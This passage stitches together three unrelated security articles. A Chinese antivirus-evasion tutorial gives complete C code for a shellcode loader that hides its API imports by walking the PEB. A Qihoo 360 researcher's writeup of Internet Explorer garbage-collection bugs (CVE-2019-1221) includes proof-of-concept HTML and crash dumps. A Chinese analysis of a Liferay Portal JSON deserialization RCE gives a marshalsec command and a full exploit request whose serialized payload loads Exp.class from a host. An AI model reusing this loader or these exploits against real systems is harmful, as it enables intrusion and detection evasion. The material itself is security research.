// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);
// 这里开始更改它的属性为可执行
MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
hThread = MyCreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;
}
可以成功上线：
查看导入表：
可以看到，自定义的三个API已经看不到了，但是GetProcAddress和GetModuleHandle也可能会作为杀软识别的对象。
## 深入隐藏
通过手动获取dll文件的方式，获取这两个函数的地址。
大致流程：
1. 找到kernel32.dll的地址
2. 遍历啊kernel32.dll的导入表，找到GetProcAddress的地址
3. 使用GetProcAddress获取LoadLibrary函数的地址
4. 然后使用 LoadLibrary加载DLL文件
5. 使用 GetProcAddress查找某个函数的地址
### 获取kernel32.dll的地址
这里使用汇编获取，先贴代码。
DWORD GetKernel32Address() {
DWORD dwKernel32Addr = 0;
_asm {
mov eax, fs: [0x30]
mov eax, [eax + 0x0c]
mov eax, [eax + 0x14]
mov eax, [eax]
mov eax, [eax]
mov eax, [eax + 0x10]
mov dwKernel32Addr, eax
}
return dwKernel32Addr;
}
这里有两个关键的结构，TEB（线程环境块）和PEB（进程环境块）。PEB结构存储着整个进程的信息。而PEB结构又存放在TEB中。
这两个结构指针都存放在fs寄存器中，fs:[0x30]是PEB fs:[0x18]是TEB。
接下来再分析上面代码的具体过程：
mov eax, fs: [0x30]
指向PEB结构
mov eax, [eax + 0xc]
0xc处存放者LDR指针它指向一个_PEB_LDR_DATA结构
mov eax, [eax + 0x14]
指向LDR指针中的InMemoryOrderModuleList链表
这里面有三个链表，这三个列表中的模块是一样的，只是顺序不同。
mov eax, [eax]
mov eax, [eax]
因为kernel32的位置是第三个，第一个是InMemoryOrderModuleList本身，向下两次，就找到了kernel32（这块还不是很理解）。
最后就是获取kernel32的基址：
mov eax, [eax + 0x10]
InMemoryOrderModuleList 再偏移0x10，指向dllbase
### 获取GetProcAddress
不做叙述，有兴趣的可以自行学习，代码如下：
DWORD RGetProcAddress() {
//获取kernel32的地址
DWORD dwAddrBase = GetKernel32Address();
//获取Dos头
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase;
//获取Nt头 Nt头=dll基址+Dos头
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase);
//数据目录表 扩展头 数据目录表 + 导出表 定位导出表
PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory +IMAGE_DIRECTORY_ENTRY_EXPORT;
//导出表
//导出表地址
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress);
//函数总数
DWORD dwFunCount = pExport->NumberOfFunctions;
//函数名称数量
DWORD dwFunNameCount = pExport->NumberOfNames;
//函数地址
PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase);
//函数名称地址
PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase);
//序号表
PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals+ dwAddrBase);
//遍历函数总数
for (size_t i = 0; i < dwFunCount; i++)
{
//判断函数地址是否存在
if (!pAddrOfFun[i])
{
continue;
}
//通过函数地址遍历函数名称地址，获取想要的函数
DWORD dwFunAddrOffset = pAddrOfFun[i];
for (size_t j = 0; j < dwFunNameCount; j++)
{
if (pAddrOfOrdinals[j] == i)
{
DWORD dwNameOffset = pAddrOfNames[j];
char * pFunName = (char *)(dwAddrBase + dwNameOffset);
if (strcmp(pFunName,"GetProcAddress")==0)
{
return dwFunAddrOffset + dwAddrBase;
}
}
}
}
}
## 完整代码
#include <Windows.h>
#include <intrin.h>
#include <WinBase.h>
#include <stdio.h>
DWORD GetKernel32Address() {
DWORD dwKernel32Addr = 0;
_asm {
mov eax, fs: [0x30]
mov eax, [eax + 0x0c]
mov eax, [eax + 0x14]
mov eax, [eax]
mov eax, [eax]
mov eax, [eax + 0x10]
mov dwKernel32Addr, eax
}
return dwKernel32Addr;
}
DWORD RGetProcAddress() {
//获取kernel32的地址
DWORD dwAddrBase = GetKernel32Address();
//获取Dos头
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase;
//获取Nt头
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase);
//数据目录表 扩展头 数据目录表 + 导出表 定位导出表
PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
//导出表
//导出表地址
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress);
//函数总数
DWORD dwFunCount = pExport->NumberOfFunctions;
//函数名称数量
DWORD dwFunNameCount = pExport->NumberOfNames;
//函数地址
PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase);
//函数名称地址
PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase);
//序号表
PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + dwAddrBase);
for (size_t i = 0; i < dwFunCount; i++) {
if (!pAddrOfFun[i]) {
continue;
}
DWORD dwFunAddrOffset = pAddrOfFun[i];
for (size_t j = 0; j < dwFunNameCount; j++) {
if (pAddrOfOrdinals[j] == i) {
DWORD dwNameOffset = pAddrOfNames[j];
char * pFunName = (char *)(dwAddrBase + dwNameOffset);
if (strcmp(pFunName, "GetProcAddress") == 0) {
return dwFunAddrOffset + dwAddrBase;
}
}
}
}
}
//自定义API
//获取kernel32.dll地址
HMODULE hKernel32 = (HMODULE)GetKernel32Address();
//自定义GetProcAddress
typedef FARPROC(WINAPI *pGetProcAddress)(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName
);
//动态获取GetProcAddress
pGetProcAddress MyGetProcAddress = (pGetProcAddress)RGetProcAddress();
//自定义GetModuleHandle
typedef HMODULE(WINAPI* pGetModuleHandle)(
_In_ LPCSTR lpLibFileName
);
pGetModuleHandle MyGetModuleHandle = (pGetModuleHandle)MyGetProcAddress(hKernel32, "GetModuleHandle");
//自定义VirtualProtect
typedef BOOL(WINAPI * pVirtualProtect) (
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
pVirtualProtect MyVirtualProtect = (pVirtualProtect)MyGetProcAddress(hKernel32, "VirtualProtect");
//自定义CreateThread
typedef HANDLE(WINAPI * pCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
pCreateThread MyCreateThread = (pCreateThread)MyGetProcAddress(hKernel32,"CreateThread");
//自定义VirtualAlloc
typedef LPVOID (WINAPI *pVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)MyGetProcAddress(hKernel32, "VirtualAlloc");
// 入口函数
int wmain(int argc, TCHAR * argv[]) {
int shellcode_size = 0;
// shellcode长度
DWORD dwThreadId;
// 线程ID
HANDLE hThread;
// 线程句柄
DWORD dwOldProtect;
// 内存页属性
char buf[] = "";
// 获取shellcode大小
shellcode_size = sizeof(buf);
char * shellcode = (char *)MyVirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
);
// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode, buf, shellcode_size);
// 这里开始更改它的属性为可执行
MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
hThread = MyCreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE);
// 一直等待线程执行结束
return 0;
}
成功上线：
查看导入表，敏感API都已隐藏：
## 参考链接
<https://xz.aliyun.com/t/10478>
<https://bbs.kanxue.com/thread-266678.htm>
<https://www.bilibili.com/video/BV1re4y1j7ih/> | 社区文章 |
**Author: Yuki Chen @ Qihoo 360 Vulcan Team**
**Date: 2019/09/11**
**Source:<https://mp.weixin.qq.com/s/M7tUw8E_qsqK7HxMyxS7Yw>**
As a script engine enthusiast, recently I did some research on all the major
script engines on Windows system (VBScript, JScript, JScript9 and ChakraCore)
and discovered/exploited some interesting bugs which also helped me to get #1
in this year’s Microsoft MSRC’s most valuable researcher list :). Now most of
the bugs have been fixed so I decided to have some writeups about them (maybe
in a series of blogs).
In this blog I will discuss a type of interesting cases I reported to
Microsoft on June 2019. These cases are about how a VBScript feature can cause
troubles in JavaScript engine and brings us easy-to-exploit bugs. This attack
vector has existed for quite a long time (since the born of jscript9 in
Internet Explorer 9) and was not discussed before. By the time of this blog,
all these cases have been fixed (in September CPU). And because now VBScript
has been disabled in Internet Zone by default in Internet Explorer both on
Windows 7 and Windows 10, I think it would be safe to disclose them.
### Background
The VBScript engine supports custom class definition. When you define a
VBScript class, you can specify a special function named “Class_Terminate”.
The “Class_Terminate” function acts like a destructor function and will be
called when the class object is released (In VBScript engine, it means when
there is no reference to the class object).
Below is a simple example of how the “Class_Terminate” works:
Class cla0
Private Sub Class_Terminate
msgbox "Class_Terminate called!"
End Sub
End Class
Set o = new cla0
Set o = Nothing
In the above example, the “Class_Terminate” function will get called
immediately when execute the assign statement “Set o = Nothing”. This is
because object in VBScript engine is stored as VT_DISPATCH variant and is
managed by reference counter. The assign statement will decrease the reference
counter of o, and when the reference counter becomes 0, the Class_Terminate
function will get called, as shown in the below code snippet.
This “Class_Terminate” feature has already caused many vulnerabilities in
VBScript engine, for example the ITW 0day CVE-2018-8174 we caught last year:
<http://blogs.360.cn/post/cve-2018-8174-en.html>
And the new variants we found based on CVE-2018-8174:
<http://blogs.360.cn/post/from-a-patched-itw-0day-to-remote-code-execution-part-i-from-patch-to-new-0day.html>
But this time I want to jump out of the VBScript engine to see whether it can
cause some problems in other components.
**When VBScript meets JavaScript, and Class_Terminate meets Garbage
Collection**
As you may know, in Internet Explorer, you can use multiple script languages
(e.g. VBScript and JavaScript) in one web page. And the different script
languages can interact with each other. Now consider the following example:
<script type="text/vbscript">Class cla0 Private Sub Class_Terminate msgbox "Class_Terminate called!" End SubEnd ClassSet o = new cla0</script><script language="javascript">o = null; <============(1) Class_Terminate triggered here?CollectGarbage(); <============(2) Or Class_Terminate triggered here?</script>
The above example creates a class object in VBScript, and then set the variant
to null in JavaScript. We already know that clearing all references to a
VBScript object can trigger its’ “Class_Terminate” function, now guess which
JavaScript statement in the above example will actually trigger the
“Class_Terminate”? Is it statement (1) which sets |o| to null; or some other
statement?
The answer is, to my surprise, it’s statement (2) which will trigger the
“Class_Terminate” callback of the object. By some reversing/debugging we
finally figures out what happens here:
1.When we access the VBScript object |o| in JavaScript, the JS engine will
create a JavaScript “wrapper” object for it (called a HostVariant).
1. The wrapper object will increase the reference counter of the VBScript object by one when it is initialized. And release the reference counter by 1 when itself is freed.
2. Since the wrapper object is a JavaScript object, it is managed by the JavaScript Garbage Collection mechanism. So simply set the object to null will not free (dispose) the object immediately, it will not be freed until it is collected by the GC engine.
Below is a stack trace when the Class_Terminate function is called:
05 060ad038 675457e6 VBSCRIPT!VBScriptClass::TerminateClass+0xa1
06 060ad054 64fc6f39 VBSCRIPT!VBScriptClass::Release+0x36
07 060ad080 64fd4e7a JSCRIPT9!SmallFinalizableHeapBlock::DisposeObjects+0x1f9
08 060ad0a8 64fd4abf JSCRIPT9!HeapInfo::DisposeObjects+0xca
09 060ad0d8 64fdb830 JSCRIPT9!Recycler::DisposeObjects+0x47
0a 060ad0dc 64fdaf57 JSCRIPT9!Recycler::FinishDisposeObjects+0x1a
0b 060ad0f4 64fcd932 JSCRIPT9!Recycler::FinishCollection+0x76
0c 060ad104 64fd58a5 JSCRIPT9!Recycler::CollectOnConcurrentThread+0x97
0d 060ad130 64fdb436 JSCRIPT9!Recycler::DoCollect+0xf5
0e 060ad144 64fdb3f9 JSCRIPT9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x26
0f 060ad17c 650b7f69 JSCRIPT9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x39
10 060ad1bc 64fdb8d9 JSCRIPT9!ThreadContext::ExecuteRecyclerCollectionFunction+0xb9
11 060ad1fc 6519b9c4 JSCRIPT9!Recycler::DoCollectWrapped+0x5f
12 060ad208 65213c92 JSCRIPT9!Recycler::Collect<-1073475584>+0x53
**13 060ad220 650b9ae3 JSCRIPT9!Js::GlobalObject::EntryCollectGarbage+0x72**
This means we can trigger a callback and execute arbitrary script code during
a JavaScript garbage collection operation. Can we abuse this behavior to cause
some security bugs? The answer is Yes.
By simply checking where Garbage Collection will be triggered in the JS engine
code, we found the below code chain is useful (and there might be others):
05 0617ca7c 675457e6 VBSCRIPT!VBScriptClass::TerminateClass+0xa1
06 0617ca98 64fc6f39 VBSCRIPT!VBScriptClass::Release+0x36
07 0617cac4 64fd4e7a JSCRIPT9!SmallFinalizableHeapBlock::DisposeObjects+0x1f9
08 0617caec 64fd4abf JSCRIPT9!HeapInfo::DisposeObjects+0xca
09 0617cb1c 64fdb830 JSCRIPT9!Recycler::DisposeObjects+0x47
0a 0617cb20 6508de9b JSCRIPT9!Recycler::FinishDisposeObjects+0x1a
0b 0617cb3c 64fdb44f JSCRIPT9!Recycler::FinishConcurrentCollect+0x10b
0c 0617cb50 64fdb3f9 JSCRIPT9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x3f
0d 0617cb88 650b7f69 JSCRIPT9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x39
0e 0617cbc8 6509dcd9 JSCRIPT9!ThreadContext::ExecuteRecyclerCollectionFunction+0xb9
0f 0617cc00 6509dc26 JSCRIPT9!Recycler::FinishConcurrentCollectWrapped+0x57
10 0617cc0c 64fd615a JSCRIPT9!Recycler::TryFinishConcurrentCollect<404819971>+0x6e
11 0617cc20 64fd53de JSCRIPT9!Recycler::TryLargeAlloc+0x71
12 0617cc48 64feb4f5 JSCRIPT9!Recycler::LargeAlloc+0x2f
**13 0617cc6c 64fcace3 JSCRIPT9!Recycler::AllocZero+0xe5**
The above call stack shows that we can trigger a GC when allocating some
memory in the JS engine. This is quite useful for us. Because the memory
allocation operations are quite common in the JS engine and if the developers
are not aware of possible callbacks in the operation, it can cause big
problems.
Let’s take a look at some examples.
**Let’s party!**
### Case 1: Type Confusion in Push Function of JavaScript Native Arrays
In Jscript9, there are different types of arrays including NativeIntArray,
NativeFloatArray and the VarArray. Some array runtime functions contain fast
paths for different types of arrays to improve speed. The Array.prototype.push
function is one of them.
In the implementation of the push function, if current array is a native
array, it will go to the fast path for native array. In the fast path code,
when pushing the elements to the array, if current array segment is not big
enough, it will:
1.Resize the segment. 2.Store the element into the resized segment.
Step 1 will allocate a new segment for the array. By using the
“Class_Terminate” and the GC trick, we can execute arbitrary script in step 1.
If we change the native array to var array (object array) in our callback, we
can cause a type confusion which is easy to exploit.
Below is the PoC:
<meta http-equiv="x-ua-compatible" content="IE=8">
<script language='javascript'>
var arr = new Array();
var arr_arr = new Array();
var stop = false;
function ff()
{
var old_length = arr_arr.length;
arr_arr.length = 1;
arr_arr[0] = {};
arr_arr.length = old_length;
stop = true;
}
</script>
<script type="text/vbscript">
Dim o
Class cla0
Private Sub Class_Terminate
Call ff
End Sub
End Class
function f1
Set o = Nothing
end function
Set o = new cla0
</script>
<script language='javascript'>
arr.push(o);
o = null;
arr[0] = null;
try {
for (var i = 0; i < 0x10000000 && !stop; ++ i){
arr_arr.push(-(0x100000000 - 0x88888888));
}
} catch (e){
alert(e);
}
alert(arr_arr.pop());
</script>
If you open the PoC with the vulnerable version of Internet Explorer 11, it
will crash when using the integer value 0x88888888 as an object:
(4d54.312c): Access violation - code c0000005 (!!! second chance !!!)
eax=0604d0a6 ebx=88888888 ecx=08f5907e edx=00214e48 esi=00000006 edi=08f5907e
eip=65000f89 esp=0604d070 ebp=0604d088 iopl=0 nv up ei pl zr na pe nc cs=0023
ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
jscript9!ValueType::Merge+0x19: 65000f89 8b0b mov ecx,dword ptr [ebx]
ds:002b:88888888=????????
### Case 2: Heap Buffer OOB write in JavaScirptArray::EntryShift
The below PoC will trigger a heap oob write in JavaScriptArray::EntryShift:
<meta http-equiv="x-ua-compatible" content="IE=8">
<script language='javascript'>
var a2 = new Array(100);
var cur = 0;
var arr = new Array();
var arr_arr = new Array();
var stop = false;
function ff()
{
a2[cur][0x13fb00] = 0;
stop = true;
}
</script>
<script type="text/vbscript">
Dim o
Class cla0
Private Sub Class_Terminate
Call ff
End Sub
End Class
function f1
Set o = Nothing
end function
Set o = new cla0
</script>
<script language='javascript'>
var seg_size = 0x400;
var seg_off = 0x100;
var next_seg_left = seg_size + seg_off;
var next_seg_size = 0x100000;
for (var i = 0; i < a2.length; ++ i)
a2[i] = {};
for (var k = 0; k < a2.length; ++ k) {
arr_arr = [{}];
for (var i = 0; i < seg_size; ++ i)
arr_arr[i] = -1;
for (var i = next_seg_left; i < next_seg_left + next_seg_size; ++ i)
arr_arr[i] = -1;
for (var i = 0; i < seg_off; ++ i)
arr_arr.shift();
a2[k] = arr_arr;
}
arr.push(o);
o = null;
arr[0] = null;
function fff()
{
for (cur = 0; cur < a2.length; ++ cur) {
a2[cur].shift();
}
location.href = location.href;
}
setTimeout(fff, 1);
</script>
And what happens in this PoC:
In JavaScriptArray::EntryShift, if the shift operation causes the head segment
and head->next segment to overlap, it will try to merge the 2 segments by:
1.Allocate a new segment whose size is big enough to hold elements in the two
segments.
2.Copy the elements in head and head->next into the new allocated segment.
By using the GC & Class_Terminate trick here we can trigger a callback at step
(1). And if we grow the size of the head segment inside the callback, after
returned from the callback, the new allocated segment will have insufficient
size to hold the new elements. This will result in a heap buffer OOB write.
This vulnerability could be leveraged to achieve reliable remote code
execution easily as well.
The crash info for this PoC looks like this:
(4e7c.372c): Access violation - code c0000005 (!!! second chance !!!)
eax=2d68dc28 ebx=2d190010 ecx=0003bb09 edx=00000000 esi=2d59f004 edi=0b510000
eip=74b995fa esp=05a0d0ac ebp=05a0d0b4 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
msvcrt!memmove+0x5a:
74b995fa f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:009> k
ChildEBP RetAddr
05a0d0b4 67e1f2db msvcrt!memmove+0x5a
05a0d150 67d35ccd jscript9!Js::JavascriptArray::EntryShift+0xea20b
05a0d170 67d1f4ec jscript9!Js::InterpreterStackFrame::DoProfiledSetProperty<Js::OpLayoutElementRootCP_OneByte const >+0xc9
05a0d1a8 67d21808 jscript9!Js::InterpreterStackFrame::OP_ProfiledLoopBodyStart<0,1>+0xdc
05a0d1d8 67d20eb9 jscript9!Js::InterpreterStackFrame::Process+0x5b8
05a0d304 08b00fd9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x2a9
### Case 3: Type Confusion in JIT Engine
A more interesting case is that we can use this trick to cause vulnerabilities
in the JavaScript JIT engine. Consider the following PoC:
function func(a, b, c) {
a[0] = 1.2; <============ (1)
var bb = {p0:1,p1:1,..., p2866:1}; <============ (2)
a[1] = 2.3023e-320; <============ (3)
a[0] = 2.3023e-320;
}
var a = [1.1, 2.2, 3.3, 4.4];
…
for (; i < 0x100000 && !stop; ++ i) {
func(a, i, i);
}
If we call the function |func| multiple times, and each time the parameter |a|
is a JavaScriptNativeFloatArray, the JIT engine will compile & optimize |func|
like this:
At (1), it will make sure |a| is a JavaScriptNativeFloatArray.
The statement at (2) simply initializes an object with multiple int
properties, the JIT engine will think that this statement will have no side-effect.
Then at (3), JIT engine will think that |a| is still a
JavaScriptNativeFloatArray.
However, the statement at (2) will allocate memory space to store the
properties in the object, so we can trigger a callback using our trick. And of
course, we can change the float array |a| to a var array, which can cause a
type confusion issue that is easy and reliable to exploit. We also developed a
PoC which pops a calculator by exploiting this JIT confusion issue (see
“jit_calc.html” in the repository).
You can find all the PoCs from my github repository:
<https://github.com/guhe120/browser/tree/master/GC>
The PoCs were tested and confirmed to work on windows 10.0.18362.295. To test
the PoC, right-click the PoC and chose “open with” => “Internet Explorer”. The
PoC may not work if you put it under a web server by default, because
Microsoft has disabled VBScript execution for Internet Zone both on Windows 7
(Since August 2019) and Windows 10.
### Conclusion
The above cases are just examples of how to exploit this issue. There are many
other places in the JavaScript engine where we can trigger a callback using
this trick and cause exploitable conditions. We have reported all the cases to
Microsoft, all the cases are fixed as CVE-2019-1221 released in September. A
quick analysis shows that the issues are addressed by disabling object dispose
(free) in GC when the GC is triggered by memory allocation.
I think this case is quite interesting because the “Class_Terminate” function
itself is just a feature in VBScript which seems no harm. But when we combine
this feature with other features in other modules (the JavaScript engine in
this article, or some other modules which we may introduce in later blogs), we
can get exploitable vulnerabilities. While there are lots of vulnerabilities
discovered inside a single script engine (VBScript, Jscript9, …) these years,
the bugs we discussed in this blog existed since the born of the Jscript9
engine and lived for quite a long period. I think one of the reasons for the
long living is that we need to think cross the boundary of a single script
engine and try to combine the VBScript/Jscript engines together in order to
discover them. This also reminds me to think broadly when doing bug hunting.
* * * | 社区文章 |
## 漏洞概述
2020/3/24日，陈师傅[在推特上](https://twitter.com/chybeta/status/1242133506974560256)转发了[一篇文章](https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html)，在该文中Code White 公开了 Liferay Portal
JSON反序列化RCE漏洞，攻击者可以发送payload到服务器造成远程代码执行，本文是对其的分析。
## 影响版本
Liferay Portal 6.1、6.2、7.0、7.1、7.2
## 漏洞复现
下载 <https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1>
tomcat集成包
生成poc
java -cp target\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://127.0.0.1:8989/ Exp
本地起http托管Exp.class，请求包
POST /api/jsonws/invoke HTTP/1.1
Host: php.local:8080
Content-Length: 1355
Content-Type: application/x-www-form-urlencoded
Connection: close
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData%3Acom.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3Aaced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a7070707070707070707078740003457870740016687474703a2f2f3132372e302e302e313a383938392f740003466f6f%3B%22%7D
本地起http服务放Exp.class，弹出计算器。
## 漏洞分析
先用一句话概括整个漏洞：在身份认证拒绝之前就反序列化了传入的json Object。
### 调试tomcat
为了方便调试，需要配置下tomcat远程调试，修改`liferay-ce-portal-7.2.0-ga1\tomcat-9.0.17\bin\catalina.bat`，首行加入
set JAVA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8001
idea配置远程tomcat
运行如图就表示debug成功
### Liferay Portal的JSON API
Liferay Portal 提供了一些api，访问 `http://127.0.0.1:8080/api/jsonws`
可以看到这些方法。这些方法有几种调用形式：
1. 通过 `http://127.0.0.1:8080/api/jsonws/invoke` 将要调用的方法和参数通过POST传递调用
2. 通过url的形式调用`/api/jsonws/service-class-name/service-method-name`
更多可以移步官方文档
1. [Invoking JSON Web Services](https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/invoking-json-web-services)
2. [JSON Web Services Invoker](https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/json-web-services-invoker)
接下来我们分析下整个api的调度流程。
在web.xml中存在一条API的映射规则`/api/jsonws/*`
其对应的类为 `com.liferay.portal.jsonwebservice.JSONWebServiceServlet`
这个类是一个servlet，继承了自己实现的JSONServlet接口
在service方法中，`JSONWS_WEB_SERVICE_API_DISCOVERABLE`用来决定API页面是否展示所有的json
web服务，其定义在portal.properties中的`jsonws.web.service.api.discoverable`属性。
如果`JSONWS_WEB_SERVICE_API_DISCOVERABLE`为真，并且path为空或者`/`也就是访问`http://127.0.0.1:8080/api/jsonws`或者`http://127.0.0.1:8080/api/jsonws/`就会列出所有的api列表。
当我们通过invoke调用方法时，进入else分支，进入到其父类 `JSONServlet` 的 `service()`。
进入`com.liferay.portal.struts.JSONAction#execute`
在rerouteExecute()中会重新检查访问的path，进而checkAuthToken()鉴权，然后通过getJSON()从request获取传入的json
因为并没有传入servletContextName参数，返回false，进入checkAuthToken()
authType为空，直接return，进而进入了`com.liferay.portal.jsonwebservice.JSONWebServiceServiceAction#getJSON`
没有上传异常，进入`getJSONWebServiceAction()`
返回了一个`JSONWebServiceInvokerAction`对象，然后进入`JSONWebServiceInvokerAction.invoke()`，在invoke的第一行反序列化了`this._command`
`this._command`是在自身的构造方法中通过传入的cmd参数赋值
漏洞的反序列化点，并不是传入的cmd参数。
接下来就是通过传入的cmd参数来调用不同的api方法
这一块是为了实现批量调用API方法，可以看[官方的文档](https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/json-web-services-invoker#making-batch-calls)。
接下来是`_parseStatement`获取传入的api方法`_executeStatement`执行
在`_parseStatement`时为了兼容传入`[]`列表批量调用，参考[文档嵌套服务调用](https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/json-web-services-invoker#nesting-service-calls)
折叠的代码块中就是实现嵌套的代码，在exp中，我们只传入了`cmd={"/expandocolumn/add-column":{}}`，所以`statement.setMethod(assignment.trim())`为`/expandocolumn/add-column`之后进入while就return了。
再来看`_executeStatement()`
getJSONWebServiceAction()最后返回的是一个JSONWebServiceActionImpl实例
public JSONWebServiceAction getJSONWebServiceAction(HttpServletRequest httpServletRequest, String path, String method, Map<String, Object> parameterMap) throws NoSuchJSONWebServiceException {
JSONWebServiceActionParameters jsonWebServiceActionParameters = new JSONWebServiceActionParameters();
jsonWebServiceActionParameters.collectAll(httpServletRequest, (String)null, (JSONRPCRequest)null, parameterMap);
JSONWebServiceActionConfig jsonWebServiceActionConfig = this._findJSONWebServiceAction(httpServletRequest, path, method, jsonWebServiceActionParameters);
return new JSONWebServiceActionImpl(jsonWebServiceActionConfig, jsonWebServiceActionParameters, this._jsonWebServiceNaming);
}
然后进入`com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#invoke`
进入`_invokeActionMethod()`
分别获取Object、Method、actionClass，然后通过`_prepareParameters()`获取参数，这个函数也是漏洞关键的函数。
在`_prepareParameters()`中，首先通过反射拿到所有的参数
for遍历拿到参数名并处理参数值，当参数值不为空时，会进行类型转换。
Class<?> parameterType = methodParameters[i].getType();
String parameterTypeName = this._jsonWebServiceActionParameters.getParameterTypeName(parameterName);
if (parameterTypeName != null) {
ClassLoader classLoader = actionClass.getClassLoader();
parameterType = classLoader.loadClass(parameterTypeName);
if (!ReflectUtil.isTypeOf(parameterType, methodParameters[i].getType())) {
throw new IllegalArgumentException(StringBundler.concat(new Object[]{"Unmatched argument type ", parameterType.getName(), " for method argument ", i}));
}
}
通过反射判断api方法参数和传入的参数类型是否一致，如果一致继续运行
if (value.equals(Void.TYPE)) {
parameterValue = this._createDefaultParameterValue(parameterName, parameterType);
} else {
parameterValue = this._convertValueToParameterValue(value, parameterType, methodParameters[i].getGenericTypes());
ServiceContext serviceContext = this._jsonWebServiceActionParameters.getServiceContext();
if (serviceContext != null && parameterName.equals("serviceContext")) {
if (parameterValue != null && parameterValue instanceof ServiceContext) {
serviceContext.merge((ServiceContext)parameterValue);
}
parameterValue = serviceContext;
}
}
根据参数类型来进入无参函数`_createDefaultParameterValue()`或有参函数`_convertValueToParameterValue()`，在`_convertValueToParameterValue()`中通过json反序列化传入的参数值，赋值给parameterValue。
private Object _convertValueToParameterValue(Object value, Class<?> parameterType, Class<?>[] genericParameterTypes) {
Object parameterValue;
String valueString;
List list;
if (parameterType.isArray()) {
if (parameterType.isInstance(value)) {
return value;
} else {
parameterValue = null;
if (value instanceof List) {
list = (List)value;
} else {
valueString = value.toString();
valueString = valueString.trim();
if (!valueString.startsWith("[")) {
valueString = "[".concat(valueString).concat("]");
}
list = (List)JSONFactoryUtil.looseDeserialize(valueString, ArrayList.class);
}
return this._convertListToArray(list, parameterType.getComponentType());
}
} else if (Enum.class.isAssignableFrom(parameterType)) {
